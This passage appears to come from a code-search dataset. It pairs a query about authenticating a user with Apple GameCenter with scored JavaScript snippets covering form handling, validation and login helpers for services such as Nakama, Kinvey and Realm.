document.getElementById(\"nombretipoactividadeconomica\").value = datos[0][\"nombre\"];\n document.getElementById(\"descripciontipoactividadeconomica\").value = datos[0][\"descripcion\"];\n document.getElementById(\"ayudatipoactividadeconomica\").value = datos[0][\"ayuda\"];\n\n}", "title": "" }, { "docid": "739dceac4ef4aa71d05c4b3ac0acb365", "score": "0.5367312", "text": "static clearFields() {\r\n document.querySelector(\"#title\").value = \"\";\r\n document.querySelector(\"#author\").value = \"\";\r\n document.querySelector(\"#name\").value = \"\";\r\n }", "title": "" }, { "docid": "bda253962254382b080e176bd085e93e", "score": "0.5365992", "text": "getText() {\n return this.element.value;\n }", "title": "" }, { "docid": "0b399f145775e41165c383d4d9a75db2", "score": "0.5363691", "text": "function doPredefinedText(txt) { document.forms[0].txt.value = txt+\" \"+document.forms[0].txt.value; save() }", "title": "" }, { "docid": "dc7afc883a4c85bfd6c67f19b700db66", "score": "0.53613305", "text": "function llenarCampos(socio){\n\t$(\"#txtNombresCompletos\").text(socio.nombres + \" \"+socio.apellidoPaterno + \" \"+socio.apellidoMaterno);\n\t$(\"#txtDNI\").text(socio.dni);\n\tif(socio.sexo == 'M'){\n\t\t$('#txtSexo').text('Masculino');\n\t}else{\n\t\t$('#txtSexo').text('Femenino');\n\t}\n\t$(\"#cmbEstadoCivil\").text(socio.estadoCivil);\n\t$(\"#txtDireccion\").text(socio.direccion);\n\t$('#txtEstadoCivil').text(socio.estadoCivil);\n\t$(\"#txtCorreo\").text(socio.correo);\n\tif(socio.estado == 'A'){\n\t\t$('#txtEstado').text(\"Activo\");\n\t\t$(\"#txtFechaRetiro\").text(\"\");\n\t}else{\n\t\t$('#txtEstado').text(\"Retirado\");\n\t\t$(\"#txtFechaRegistro\").text(socio.fechaRetiro);\n\t}\n\t$(\"#txtFechaNacimiento\").text(socio.fechaNacimiento);\n\t$(\"#txtFechaRegistro\").text(socio.fechaRegistro);\n\t$(\"#txtCelular\").text(socio.celular);\n\t$(\"#txtNombresPariente\").text(socio.nombresApellidosPariente);\n\t$(\"#txtTelefonoPariente\").text(socio.telefonoPariente);\n\t$(\"#txtNumeroAcciones\").text(socio.numeroAcciones);\n}", "title": "" }, { "docid": "a00093d5cbbdbbffc382deecc598feac", "score": "0.5359597", "text": "function modal_affiche(donnee) {\r\n\r\n $(\"#id\").val(donnee[\"id\"]);\r\n $(\"#nom\").val(donnee[\"nom\"]);\r\n $('#type').val(donnee[\"type\"]);\r\n $('#access').val(donnee[\"accessibilite\"]);\r\n $('#nbr').val(donnee[\"nb_participants\"]);\r\n $('#prix').val(donnee[\"prix\"]);\r\n\r\n\r\n}", "title": "" }, { "docid": "1c4cfc2bfeac88c399719dc15fbb8945", "score": "0.53580755", "text": "function compruebaCampos(){\n\tvar args = compruebaCampos.arguments.length;\n\tvar i;\n\tvar campo,opcion,formato;\n\tvar str = \"\";\n\tvar obj;\n\tvar valor;\n\tvar error;\n\tfor (i=0;i<args;i+=3){\n\t\tcampo = compruebaCampos.arguments[i];\n\t\topcion = compruebaCampos.arguments[i+1];\n\t\tformato = compruebaCampos.arguments[i+2];\n\t\t//AGM88X 10-10-2005: funcion especial de validacion. Formato V\n\t\tif (formato.substr(0,1)==\"V\"){\n\t\t\tstr = str + compruebaValidacion(campo,opcion,formato);\n\t\t} else {\n\t\t\t//prosigo con el tratamiento normal de campos\n\t\t\tobj = document.all[campo];\n\t\t\tif (obj) {\n\t\t\t\t//determino el valor del objeto en sus diversas maneras\n\t\t\t\tif (obj.length){\n\t\t\t\t\t//AGM88X 28-4-2006: arreglo 'definitivamente' el valor para los select\n\t\t\t\t\tif (obj.selectedIndex!=null && obj.selectedIndex>=0) valor = obj.options[obj.selectedIndex].text;\n\t\t\t\t\telse{\n\t\t\t\t\t\t//el nombre esta repetido creo un string y recooro el array\n\t\t\t\t\t\tvalor = \"\";\n\t\t\t\t\t\tfor(j=0;j<obj.length;j++){\n\t\t\t\t\t\t\t//obtengo el valor de cada objeto individual\n\t\t\t\t\t\t\tvar objAct = obj[j];\n\t\t\t\t\t\t\tvar valorAct = \"\";\n\t\t\t\t\t\t\tif (objAct.selectedIndex!=null && objAct.selectedIndex>=0) valorAct = objAct.options[objAct.selectedIndex].text;\n\t\t\t\t\t\t\telse valorAct = objAct.value;\n\n\t\t\t\t\t\t\t//y lo inserto en el valor final separado por /n\n\t\t\t\t\t\t\tif (valor==\"\") valor = valorAct;\n\t\t\t\t\t\t\telse valor = valor + String.fromCharCode(13,10)+ valorAct;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else{\n\t\t\t\t\tif (obj.selectedIndex!=null && obj.selectedIndex>=0) valor = obj.options[obj.selectedIndex].text;\n\t\t\t\t\telse valor = obj.value;\n\t\t\t\t}\n\t\t\t\tstr = str + compruebaCampo(campo,valor,opcion,formato);\n\t\t\t} else str = str + \"Falta campo: \"+campo+\"\\n \"+formato;\n\t\t}\n\t}\n\tif (str!=\"\") {\n\t\talert(\"Errores en compruebaCampos:\\n\"+str);\n\t\treturn true;\n\t} else return false;\n}", "title": "" }, { "docid": "7126320a7ff525dbf9c47c77ba03d097", "score": "0.5353786", "text": "function fuentes_mayusculas() {\n\tfor (var i=0;i<frm.elements.length;i++){ \t \n\t\tfrm.elements[i].value=frm.elements[i].value.toUpperCase()\n\t} \t\n}", "title": "" }, { "docid": "2c5c1259d047cd7790d33efe884f845c", "score": "0.5352955", "text": "function formataAgenciaConta(campo){\n\tcampo.value = filtraCampo(campo);\n\tvr = campo.value;\n\ttam = vr.length;\n\tif ( tam <= 1 )\n\t\tcampo.value = vr;\n\tif ( tam > 1 ) \n\t\tcampo.value = vr.substr(0, tam-1 ) + '-' + vr.substr(tam-1, tam); \n}", "title": "" }, { "docid": "859096dbda8818dbcf0145dc4b3c1330", "score": "0.533907", "text": "function getFormValues() {\n return {\n tags: $(\"#tags\").val() || ['*'],\n word: $(\"#word\").val(),\n enableAlert: $(\"#enableAlert\").is(\":checked\"),\n enableHighlight: $(\"#enableHighlight\").is(\":checked\"),\n ignoreCase: $(\"#ignoreCase\").is(\":checked\"),\n runOnLoad: $(\"#runOnLoad\").is(\":checked\")\n };\n }", "title": "" }, { "docid": "a6f91101453acd1ebd58cf3c6d874ab0", "score": "0.5335692", "text": "function limpiarCamposAdicional(){\n $valor.val(\"\");\n $producto.val($(\"#producto option:first\").val());\n $plan.val($(\"#plan option:first\").val());\n\n}", "title": "" }, { "docid": "55b51048fe390b2f09b18ca00978e3b6", "score": "0.5335402", "text": "function limpiarForm(){\n nombre.value = \"\";\n contraseña.value = \"\";\n\n}", "title": "" } ]
8ad03b74b7b12a6e06949201a2f4288e
Authenticate a user with Apple's GameCenter against the server.
[ { "docid": "b2a6d9ebbf827653583b8c00a4ec2987", "score": "0.55917346", "text": "authenticateGameCenter(basicAuthUsername, basicAuthPassword, body, create, username, options = {}) {\n if (body === null || body === void 0) {\n throw new Error(\"'body' is a required parameter but is null or undefined.\");\n }\n const urlPath = \"/v2/account/authenticate/gamecenter\";\n const queryParams = /* @__PURE__ */ new Map();\n queryParams.set(\"create\", create);\n queryParams.set(\"username\", username);\n let bodyJson = \"\";\n bodyJson = JSON.stringify(body || {});\n const fullUrl = this.buildFullUrl(this.basePath, urlPath, queryParams);\n const fetchOptions = buildFetchOptions(\"POST\", options, bodyJson);\n fetchOptions.headers[\"Authorization\"] = \"Basic \" + encode(basicAuthUsername + \":\" + basicAuthPassword);\n return Promise.race([\n fetch(fullUrl, fetchOptions).then((response) => {\n if (response.status == 204) {\n return response;\n } else if (response.status >= 200 && response.status < 300) {\n return response.json();\n } else {\n throw response;\n }\n }),\n new Promise(\n (_, reject) => setTimeout(reject, this.timeoutMs, \"Request timed out.\")\n )\n ]);\n }", "title": "" } ]
[ { "docid": "8810fa9afbf9eeec632bcf3d59bbd704", "score": "0.64254737", "text": "authenticateApple(_0, _1, _2) {\n return __async(this, arguments, function* (token, create, username, vars = {}, options = {}) {\n const request = {\n \"token\": token,\n \"vars\": vars\n };\n return this.apiClient.authenticateApple(this.serverkey, \"\", request, create, username, options).then((apiSession) => {\n return new Session(apiSession.token || \"\", apiSession.refresh_token || \"\", apiSession.created || false);\n });\n });\n }", "title": "" }, { "docid": "d9cc3b74f43e447104409ffb2aa53d11", "score": "0.61019945", "text": "authenticate() {\n this.set('hasResponseMessage', null);\n const {\n formatUsername,\n password,\n api,\n selectedEnvironemnt\n } = this.getProperties('formatUsername', 'password', 'api', 'selectedEnvironemnt');\n return this.get('session').authenticate('authenticator:application', formatUsername, password, api, selectedEnvironemnt)\n .catch(() => {\n this.set('hasResponseMessage', \"Invalid login. Please try again.\");\n });\n }", "title": "" }, { "docid": "a878a24b4606d86685447448cdb307d9", "score": "0.6032536", "text": "function authenticate(options, cb) {\n // talk.send([\"session:authenticate\", options], function(err) {\n // cb(err);\n // });\n cb(null);\n}", "title": "" }, { "docid": "525679b60316914cc11b492eeb63cbf5", "score": "0.5992978", "text": "authenticateGameCenter(token, create, username, vars) {\n const request = {\n \"token\": token,\n \"vars\": vars\n };\n return this.apiClient.authenticateGameCenter(this.serverkey, \"\", request, create, username).then((apiSession) => {\n return new Session(apiSession.token || \"\", apiSession.refresh_token || \"\", apiSession.created || false);\n });\n }", "title": "" }, { "docid": "948893c9b7ff08abff10082fbbe4c08a", "score": "0.5962592", "text": "function loginUser(){\n\tif(gActiveToken != null){\n\t\tvalidateToken();\n\t}\n}", "title": "" }, { "docid": "719eae27881e31cc91acdb0c4d056d8d", "score": "0.5926707", "text": "function authenticate(options, callback) {\n client.auth(options, function(e, api) {\n if (e) {\n self.emit('error', e);\n callback(e);\n return;\n }\n\n // data\n data = data || {};\n data.phonegap = data.phonegap || {};\n data.phonegap.token = api.token;\n\n // save the data\n config.global.save(data, function(e) {\n // do not provide api on error\n if (e) {\n self.emit('error', e);\n callback(e);\n return;\n }\n\n // complete\n self.emit('log', 'logged in as', options.username);\n callback(null, api);\n });\n });\n }", "title": "" }, { "docid": "6ecfea284ef4aeba2ed91eaa4f561bb5", "score": "0.5887949", "text": "function coralLogin() {\n coralEmbed.login(store.get(TALK_AUTH));\n}", "title": "" }, { "docid": "189de0384cff7ef1d922d7382b32aecb", "score": "0.57907456", "text": "function authenticate(request, response) {\n // This is where you would generally take a username and password from the user and authenticate that user against\n // some database. But for this example, we're just going to hardcode a user. In a normal production environment,\n // the session cookie would just be a secure session ID that's not accessible on the client. But for the purposes\n // of this example, we're just going to put the user info in the cookie so the client has easy access to the user\n // info.\n const userInfo = {\n userName: 'Cade',\n customUserID: 'cade-id',\n };\n\n // In a normal environment you would also want to include \"httpOnly: true\" here is keep this info safe. But for\n // this demo, we're going to have the client use this data.\n response.cookie('SESSION_INFO', JSON.stringify(userInfo), { encode: String });\n\n response.send('Ok');\n}", "title": "" }, { "docid": "cead3f6e7c360895e5ebcb16ca7dc01a", "score": "0.5772143", "text": "function authenticate(){\n // [ Tries to find requested user by username ]\n db(\"User\")\n .select(\"id\",\"username\",\"hash\")\n .where(\"username\",data.username)\n .then(function(rows){\n // [ Checks if user was found ]\n if(rows.length == 0) return res.end(error(\"User doesn't exist\", errors.NO_USER));\n var row = rows[0];\n\n // [ Checks if password matches hash ]\n var authenticated = bcrypt.compareSync(data.password, row.hash);\n\n // [ Returns error if not authenticated ]\n if(!authenticated) return res.end(error(\"Password doesn't match\", errors.BAD_PASSWORD));\n\n // [ User is authenticated, create token ]\n var token = {\n \"token\": generateGUID() + \"-\" + generateGUID() + \"-\" + generateGUID()\n ,\"dateIssued\":(new Date()).toISOString()\n ,\"userId\":row.id\n ,\"dateRevoked\":null\n };\n\n db(\"Token\").insert(token).then(function(){\n res.json(token); \n });\n }); \n }", "title": "" }, { "docid": "ab76fe97790e0be7007a65aa51864850", "score": "0.57614714", "text": "function authenticateVlobePass(authToken, sessionId, success, failure) {\n if (!module.parent) \n console.log('Authenticating with Vlobe Pass %s:%s', authToken, sessionId);\n\n passService.promiseAuthenticate(server, authToken, sessionId)\n .then(result => {\n var userId = result.userId;\n if (userId) {\n if (!users[userId]) {\n users[userId] = { userId: userId };\n }\n var user = users[userId];\n user.emailAddress = result.emailAddress;\n user.displayName = result.displayName;\n user.model = result.model;\n user.os = result.os;\n user.version = result.version;\n success(user);\n } else\n failure(\"Empty user Id\");\n })\n .catch(err => failure(err));\n}", "title": "" }, { "docid": "0e8e661dc8dab0551324e310bc3072f7", "score": "0.5673088", "text": "function login(){\n\tvar username = 'Chin';\n\tvar password = 'chinchin';\n\t//var username = '[email protected]';\n\t//var password = 'gmlakda1234';\n\t//console.log(\"Logging\");\n\t\n\tUsergrid.ApiClient.logInAppUser(username, password, \n\t\tfunction(response, user){\n\t\t\t// login succeeded\n\t\t\tappUser = Usergrid.ApiClient.getLoggedInUser();\n\t\t\tconsole.log(\"Login successfully: \" + appUser+ \" | user: \" + username);\n\t\t\tinit();\n\t\t}, function(){\n\t\t\tconsole.log(\"login failed to Usergrid\");\t\n\t\t}\n\t);\n }", "title": "" }, { "docid": "2d59d826474ab46dcc471d3f24c9046e", "score": "0.5670495", "text": "function authenticateUser() {\n const reqURL = CONSTANTS.API_USER_LOGIN_URL;\n return chai.request(server)\n .post(reqURL)\n .send({\n username: 'test_user_professor',\n password: 'password',\n });\n }", "title": "" }, { "docid": "533df8d74b48f7fbce09a57a9b228ac9", "score": "0.5623715", "text": "function performAuthentication(user, pass){\r\n var username = user;\r\n var pin = pass;\r\n socket.emit('auth', {username: username, password: pin});\r\n}", "title": "" }, { "docid": "cfb78fa6572deff7ae507acfb9a0d71e", "score": "0.5620246", "text": "function authenticate(firstTime){\n var nav = oCore.byId('Login').getController().nav;\n if(firstTime){\n nav.to(\"Login\");\n }else {\n switch(isUserSessionAvailable()){\n case 200 : break;\n case 401 :{\n nav.to(\"Login\");\n if(busyDialog !=null){\n busyDialog.close();\n }\n break;\n }\n case 404 : showMessage(i18nModel.getResourceBundle().getText(\"Error\"),\"Error\",i18nModel.getResourceBundle().getText(\"ServerError\")); break;\n default : {\n nav.to(\"Login\");\n if(busyDialog !=null){\n busyDialog.close();\n }\n break;\n }\n }\n }\n}", "title": "" }, { "docid": "50f633887c2923f829a88a557546678f", "score": "0.55885", "text": "function login() {\n User.login(self.user, handleLogin);\n }", "title": "" }, { "docid": "23c452fcb3f862105ea63420d5f0afbd", "score": "0.557237", "text": "function onUserAuthorized() {\n document.getElementById('authorized-checkbox').checked = true;\n cwic.CertificateController.addEventHandler(\"onInvalidCertificate\", onInvalidCertificate);\n cwic.LoginController.addEventHandler(\"onCredentialsRequired\", onCredentialsRequired);\n cwic.LoginController.addEventHandler(\"onSignedOut\", onSignedOut);\n cwic.LoginController.addEventHandler(\"onSigningIn\", onSigningIn);\n cwic.LoginController.addEventHandler('onAuthenticationStateChanged', onAuthenticationStateChanged);\n cwic.LoginController.addEventHandler(\"onAuthenticationFailed\", onAuthenticationFailed);\n cwic.TelephonyController.addEventHandler('onTelephonyDeviceListChanged', onTelephonyDeviceListChanged);\n cwic.TelephonyController.addEventHandler('onConnectionStateChanged', onConnectionStateChanged);\n cwic.TelephonyController.addEventHandler(\"onConversationOutgoing\", onConversationOutgoing);\n cwic.TelephonyController.addEventHandler(\"onConversationStarted\", onConversationStarted);\n cwic.TelephonyController.addEventHandler(\"onConversationEnded\", onConversationEnded);\n cwic.LoginController.setCUCMServers([cucmServers[currentServer]]);\n cwic.LoginController.setTFTPServers([cucmServers[currentServer]]);\n cwic.LoginController.signIn();\n}", "title": "" }, { "docid": "3d821910393914ec33f70ba788e5720d", "score": "0.5563998", "text": "async function handleAuthenticateUser() {\r\n dispatch({\r\n type: SET_INITIAL_DATA,\r\n isAuthenticated: true\r\n });\r\n }", "title": "" }, { "docid": "7b89548e49e5eb0d1a2ab1063b14180d", "score": "0.55361784", "text": "function authenticate(){\n SC.connect(function() {\n SC.get('/me', function(me) { \n $('body').addClass('user-registered');\n $('.soundcloud-connect').text('Now connected to Soundcloud as '+me.username+'.');\n ga('send', 'event', 'soundcloud connect', me.permalink_url);\n return me; \n });\n });\n }", "title": "" }, { "docid": "2a04ff2ebaf5befff2ed87a66e6f5700", "score": "0.55248433", "text": "function authenticate(user_id, password, cookie, server_nonce, callback) {\n\t\t\tvar packed_user_id = String.fromCharCode(0, 0, 0, 0, user_id >> 24 & 0xFF, user_id >> 16 & 0xFF, user_id >> 8 & 0xFF, user_id & 0xFF);\n\n\t\t\tvar password\n\n\t\t\t//generate random client nonce\n\t\t\tvar client_nonce = \"\";\n\t\t\tfor (var i = 0; i < 16; ++i) {\n\t\t\t\tclient_nonce += String.fromCharCode(Math.random() * 256);\n\t\t\t}\n\n\t\t\t//generate msg to sign with private key\n\t\t\tvar msg = packed_user_id + atob(server_nonce) + client_nonce;\n\n\t\t\t//generate private key content to be hashed from the password and packed user id\n\t\t\tvar privateKeySeed = packed_user_id + unescape(encodeURIComponent(password));\n\n\t\t\t// generate signature: sign the digest with the private key\n\t\t\tvar signature = ecp.signECDSA(msg, privateKeySeed);\n\n\t\t\tvar request = {\n\t\t\t\t \"tag\": _tag,\n\t\t\t\t\t\"method\": \"Authenticate\",\n\t\t\t\t\t\"user_id\": Number(user_id),\n\t\t\t\t\t\"cookie\": cookie,\n\t\t\t\t\t\"nonce\": btoa(client_nonce),\n\t\t\t\t\t\"signature\": [ btoa(signature.r), btoa(signature.s)]\n\t\t\t};\n\n\t\t\t_do_request(request, function(result){\n\t\t\t\tconsole.log(\"Successfully authenticated user: \" + user_id);\n\t\t\t\tcallback(result);\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "6954210ef98a8f9321ec682f58832235", "score": "0.55022275", "text": "async function loginUser() {\r\n let currentData = await userServerReq.loginUser(txtResultLogin, \"/user/auth\", inpNameLogin.value, inpPasswordLogin.value);\r\n if (currentData.code == HTTP_CODES.OK) {\r\n currentUser.ID = currentData.userID;\r\n currentUser.username = currentData.userName;\r\n currentUser.email = currentData.userEmail;\r\n inpNameUpdate.value = currentUser.username;\r\n inpEmailUpdate.value = currentUser.email;\r\n saveCredentials();\r\n showPresentationOverview();\r\n loadPresOverview();\r\n }\r\n}", "title": "" }, { "docid": "ba91f09692e4e69cba91a44ec999da0d", "score": "0.54986084", "text": "auth(user) {\n // get authenticated Realm-Web SDK user\n // (may reject on invalid credentials, server, app-config, or network issues)\n return (function (user) {\n if (user) {\n const { email, password, ...providers } = user,\n [[provider, tokens]] = Object.entries(providers); // assume there is just one\n\n switch (provider) {\n case \"google\": // for example\n console.assert(\"google auth not implemented\");\n break;\n\n // integrated with Realm custom-jwt providers\n case \"onelogin\": {\n const { id_token } = tokens;\n return realmApp.logIn(Realm.Credentials.jwt(id_token));\n }\n\n default:\n if (email && password) {\n console.info(\"logging into realm app with email/password\");\n return realmApp.logIn(\n Realm.Credentials.emailPassword(email, password)\n );\n }\n }\n }\n\n console.info(\"logging into realm app anonymously\"); // TODO: not if an anonymous user is already authenticated, ok?\n return realmApp.logIn(Realm.Credentials.anonymous());\n })(user).then(\n (realmUser) => {\n this.dispatch(actions.CURRENT_USER, realmUser); // for display purposes\n this.realmUser = realmUser;\n },\n ({ statusCode, statusText, errorCode, error }) => {\n // revert to initial unresolved state\n Object.defineAsyncProperty(this, \"realmUser\");\n\n throw error;\n }\n );\n }", "title": "" }, { "docid": "0ce5b83eafac12dbd741eae73c24b8ce", "score": "0.5482738", "text": "async _loginNodeUser () {\n if (this.authToken) {\n return\n }\n\n let walletPublicKey = this.web3Manager.getWalletAddress()\n let clientChallengeKey\n let url\n\n try {\n let challengeResp = await this._makeRequest({\n url: '/users/login/challenge',\n method: 'get',\n params: {\n walletPublicKey\n }\n }, false)\n\n clientChallengeKey = challengeResp.data.challenge\n url = '/users/login/challenge'\n } catch (e) {\n const requestUrl = this.creatorNodeEndpoint + '/users/login/challenge'\n await this._handleErrorHelper(e, requestUrl)\n }\n\n const signature = await this.web3Manager.sign(clientChallengeKey)\n\n const resp = await this._makeRequest({\n url,\n method: 'post',\n data: {\n data: clientChallengeKey,\n signature\n }\n }, false)\n this.authToken = resp.data.sessionToken\n\n setTimeout(() => {\n this.authToken = null\n this.connected = false\n }, BROWSER_SESSION_REFRESH_TIMEOUT)\n }", "title": "" }, { "docid": "caef95d027e39b332990de5c07c015db", "score": "0.5464094", "text": "function ggAuthenticate(){\n app.DB.authWithOAuthPopup(\"google\", function(error, authData) {\n if (error) {\n console.log(\"Login Failed!\", error);\n } else {\n console.log(\"Authenticated successfully with google:\", authData);\n }\n });\n }", "title": "" }, { "docid": "639ce3375f13003304ea16afad11ebc3", "score": "0.54580736", "text": "function echoAuth() {\n // Checks if there is already a token, if there is, the existing token is returned instead of another authentication process\n if (token === null) {\n // Sets the body data to be sent (Echo login email address and password)\n var payload = {\n 'email' : scriptProperties.getProperty('ECHO_EMAIL'),\n 'password' : scriptProperties.getProperty('ECHO_PASSWORD')\n };\n // Sets the request options\n var options = {\n 'method' : 'post',\n 'payload' : payload\n };\n // Makes the authentication request\n var response = UrlFetchApp.fetch('https://groundwire.echoglobal.org/sessions.json', options);\n // Converts the response data into JSON and saves it to the dataJSON variable\n var dataJSON = JSON.parse(response.getContentText());\n // Changes the token variable from null to the recieved token\n token = dataJSON.auth_token;\n // Returns the token back (not currently used)\n return token;\n } else {\n // Returns the token back if it already existed (not currently used)\n return token\n }\n}", "title": "" }, { "docid": "9c5d6a79f30fd014ae610d1183e4d644", "score": "0.54510176", "text": "function login(data) {\n\tplayerAuth.login(data, gameSocket);\n}", "title": "" }, { "docid": "9e5ad25e1e43b2c71bff51d2124ea742", "score": "0.54195094", "text": "function authRequest (userSuppliedString, returnToURL, realm)\n {\n try\n {\n var manager = getManager();\n var warning = \"\";\n var openid_url = userSuppliedString;\n if (openid_url == \"\" || (openid_url.match(/@/) && !openid_url.match(/^http/)))\n {\n warning += 'Attempting to use Google for provider of authentication\".<br />\\n';\n\topenid_url = \"https://www.google.com/accounts/o8/id\";\n }\n if (!openid_url.match(/^http/))\n {\n warning += '\"http\" not included at start of \"' + openid_url + '\".<br />\\n';\n openid_url = \"http://\" + userSuppliedString;\n }\n if (openid_url.match(/\\/$/))\n {\n warning += '\"/\" included at end of \"' + openid_url + '\".<br />\\n';\n openid_url = openid_url.substring(0,openid_url.length-1);\n }\n app.log(\"warning: \" + warning);\n var discoveries = manager.discover(openid_url);\n var discovered = manager.associate(discoveries);\n session.data[\"openid-disco\"] = discovered;\n //var realmVerifier = new Packages.org.openid4java.server.RealmVerifier();\n //app.log(\"realmVerifier=\" + realmVerifier);\n //realmVerifier.setEnforceRpId(false);\n //manager.setRealmVerifier(realmVerifier);\n //var authReq = manager.authenticate(discovered, returnToURL, realm);\n var authReq = manager.authenticate(discovered, returnToURL);\n app.log(\"authReq=\" + authReq);\n var fetch = Packages.org.openid4java.message.ax.FetchRequest.createFetchRequest();\n fetch.addAttribute\n (\n \"email\", \n \"http://schema.openid.net/contact/email\",\n true\n );\n authReq.addExtension(fetch);\n if (!discovered.isVersion2())\n {\n var destinationURL = \"\" + authReq.getDestinationUrl(true);\n app.log(\"Redirecting to \" + destinationURL);\n res.redirect(destinationURL);\n return (null);\n }\n else\n {\n res.message = authReq.getOPEndpoint();\n session.data[\"parameterMap\"] = authReq.getParameterMap();\n var destinationURL = \"\" + authReq.getDestinationUrl(false);\n session.data[\"destinationURL\"] = destinationURL;\n app.log(\"Discovery is version 2. Redirecting to /redirect\");\n res.redirect(\"/redirect\");\n return (null);\n }\n }\n catch (e)\n {\n app.log(\"Exception: \" + e);\n }\n return (null);\n }", "title": "" }, { "docid": "b86b60b9f65b0edbfabe417a3d024502", "score": "0.5412412", "text": "function authenticate(req, res, next) {\n sLogin.authenticate(req, res, function(err, response){\n res.json({error: err, message: response});\n });\n}", "title": "" }, { "docid": "f5ad42d05410a4cd74bbb5fbc90d42bb", "score": "0.5410067", "text": "function isAuthenticated(onSuccess, onException) {\n\t\t\t\t// request sessionId and then check for login status on server\n\t\t\t\tmySession.getSessionId(function(sessionId){\n\t\t\t\t\t// use json-rpc for checking authentication status\n\t\t\t\t\tjsonService.user.isAuthenticated({\n\t\t\t\t\t\tparams: [sessionId],\n\t\t\t\t\t\tonSuccess: onSuccess,\n\t\t\t\t\t\tonException: onException\n\t\t\t\t\t});\t\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "4e818bbf656f73776a56ae040e7383c1", "score": "0.54099584", "text": "function authenticationCallback (err, uri) {\n if (err) {\n var msg = 'Error processing certificate: ' + err.message\n debug(msg)\n if (mode === MODE_AUTH) {\n setEmptySession(req)\n }\n\n let httpErr = new HTTPError(401, msg)\n\n return callback({err: msg, httpErr, certificate, webId: null})\n }\n\n if (mode === MODE_TEMP) {\n req.session.tempWebId = uri\n debug('Identified temp user: ' + req.session.tempWebId)\n } else {\n req.session.userId = uri\n debug('Identified user: ' + req.session.userId)\n res.set('User', req.session.userId)\n }\n\n return callback({err: null, httpErr: null, certificate, webId: uri})\n }", "title": "" }, { "docid": "df8164a5d0b31ea8474e58f581bc6fa9", "score": "0.54083073", "text": "function login(userName) {\n // We have to first query the id of the user from the application server, since the SDK doesn't know the username.\n // We prefix the name with test-user- because we use auto validation which should only be done for test users if at all\n // This test-user behaviour is implemented in the example server and has nothing to do with the sdk, which has no notion of a test user\n\n serverCall(\n \"user/get-user-id?userName=test-user-\" + userName,\n null,\n function(res) {\n // Log in on the SDK\n return zkit_login.login(res).then(\n function(userId) {\n // Successful login\n // Write user's ID on page\n setMessage(\"#loginResults\", \"Logged in\", userId, false);\n // Display logged in info\n $(\"#loggedIn\").removeClass('hidden');\n },\n function(error) {\n setMessage(\"#loginResults\", \"Login failed\", error, true);\n $(\"#loggedIn\").addClass('hidden');\n }\n );\n },\n function(error) {\n setMessage(\"#loginResults\", \"Getting userId failed\", error, true);\n $(\"#loggedIn\").addClass('hidden');\n }\n );\n}", "title": "" }, { "docid": "a3948d6dc65ce15b24c46d9eb889a195", "score": "0.53956246", "text": "function handleAuthentication() {\n auth0.parseHash(function(err, authResult) {\n // Detects whether the user is logged in with the external Auth0 service\n if (authResult && authResult.accessToken && authResult.idToken) {\n window.location.hash = '';\n localLogin(authResult);\n // Detects any errors\n } else if (err) {\n alert(\n 'Error: ' + err.error\n );\n }\n });\n }", "title": "" }, { "docid": "a2dafa27090ab2bebf4bc966a295dad9", "score": "0.5393045", "text": "function authenticate(name, pass, fn) {\n console.log('authenticating %s:%s', name, pass);\n //get user from redis. User is a hash\n var client = services.getRedisClient();\n client.HGETALL([userKey(name)], function (err, obj) {\n client.quit();\n if (err || obj == null) {\n console.log('cannot find user');\n return fn(new Error('cannot find user'));\n } else {\n console.log(\"got reply: \", obj);\n var user = {\n name: obj.name.toString(),\n salt: obj.salt.toString(),\n pass: obj.pass.toString()\n };\n if (user.pass == hash(pass, user.salt)) return fn(null, user);\n fn(new Error('invalid password'));\n }\n });\n}", "title": "" }, { "docid": "ae22e09c978f403bd8fb3e046ad2159a", "score": "0.5390804", "text": "function login(req, res) {\n console.log('site_router.js login() - fired :' + req);\n\n var options = getOptions();\n\n\toptions.args = {\n\t\t'username' : \treq.body.username,\n\t\t'password' : req.body.password\n\t};\n\n // Registering the user against a peer can serve as a login checker, for now\n console.log('attempting login for:' + req.body.username);\n marbles_lib.login(options, function (err, user) {\n if (err) {\n console.error('Login failed:' + err);\n\t\t\t//return res.redirect('/login');\n\t\t\treturn res.json();\n } else {\n \tconsole.log(JSON.stringify(user));\n \tvar userJSON = user.parsed;\n \treq.session.role = userJSON.role;\n\t\t\treq.session.username = userJSON.userName;\n\t\t\treturn res.json(user.parsed);\n \t//retrieveLCApplications(req, res);\n }\n });\n}", "title": "" }, { "docid": "f0cec461c45c283c2fa5e28d0058e6fe", "score": "0.5389844", "text": "function userLoginSession() {\n\tvar dict = {\n\t\tsid: socket.id\n\t}\n\tsendPost(ap_url, \"/loginSession\", dict, function (res) {\n\t\tif (res.result == \"fail\"){\n\t\t\tconsole.log(\"Error while logging in.\\n\" + \n\t\t\tres.reason + \"\\n\" +\n\t\t\tres.reason_detail);\n\t\t}\n\t\telse changeView('panel');\n\t});\n}", "title": "" }, { "docid": "f43055bb7f65ca2a7f06a0d3d85bdc48", "score": "0.5376981", "text": "function onLogin(e) {\n\t// actual call to the ACS cloud server\n\tCloud.Users.login({\n \tlogin: $.loginUsername.value,\n\t password: $.loginPassword.value\n\t// inline function to handle results of the login call\n\t}, function (e) {\n \tif (e.success) {\n \tusername = e.users[0];\n \t\n \t// Toast to show success\n \tTi.UI.createNotification({\n \t\t\t\tmessage: username.username +' logged in succesfully',\n \t\t\tduration: Ti.UI.NOTIFICATION_DURATION_SHORT\n\t\t\t\t}).show();\n\t \t\tloginView.close();\n\t \t\tfeed();\n\t } else {\n\t \t// alert to show failure\n \t alert('Error:\\n' +\n \t ((e.error && e.message) || JSON.stringify(e)));\n \t}\n\t});\t\n}", "title": "" }, { "docid": "96f452781f71250b4b669197043ef650", "score": "0.5366682", "text": "function loginUser() {\n let userData = {\n username: $('#formLogin input[name=username]').val(),\n password: $('#formLogin input[name=passwd]').val()\n };\n\n $.ajax({\n method: \"POST\",\n url: kinveyBaseUrl + \"user/\" + kinveyAppKey + \"/login\",\n data: JSON.stringify(userData),\n contentType: \"application/json\",\n headers: kinveyAppAuthHeaders,\n success: loginUserSuccess,\n error: handleAjaxError\n });\n\n function loginUserSuccess(userInfo) {\n saveAuthInSession(userInfo);\n showHideMenuLinks();\n showEventsView();\n showInfo(\"Login successful.\");\n }\n }", "title": "" }, { "docid": "11d798e37ef56ec6c438885c3623d5a6", "score": "0.53577983", "text": "authenticateApple(basicAuthUsername, basicAuthPassword, body, create, username, options = {}) {\n if (body === null || body === void 0) {\n throw 